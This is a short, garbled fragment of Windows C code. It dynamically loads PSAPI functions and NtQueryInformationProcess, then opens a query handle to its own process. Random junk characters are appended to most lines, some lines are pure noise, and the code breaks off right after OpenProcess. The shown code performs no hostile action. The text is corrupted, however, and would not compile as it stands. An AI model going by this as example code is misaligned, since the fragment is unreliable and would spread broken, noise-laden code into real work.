PROCNTQSIP NtQueryInformationProcess; a,#j =
B[?CbU
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y,e B|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0|\$Vp
Uwx
E<=z
HANDLE hProcess; A^EE32kbm
PROCESS_BASIC_INFORMATION pbi; SrK<fAkx
ye? 'Ze
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c>~*/%+
if(NULL == hInst ) return 0; ~B(4qK1G
f_Av3
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X=8{$:
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M b1sF
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WPG(@zD
7y@Pa&^8
if (!NtQueryInformationProcess) return 0; /mu*-,aeX
=;&yd';k
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tlp@?(u
if(!hProcess) return 0; 3az&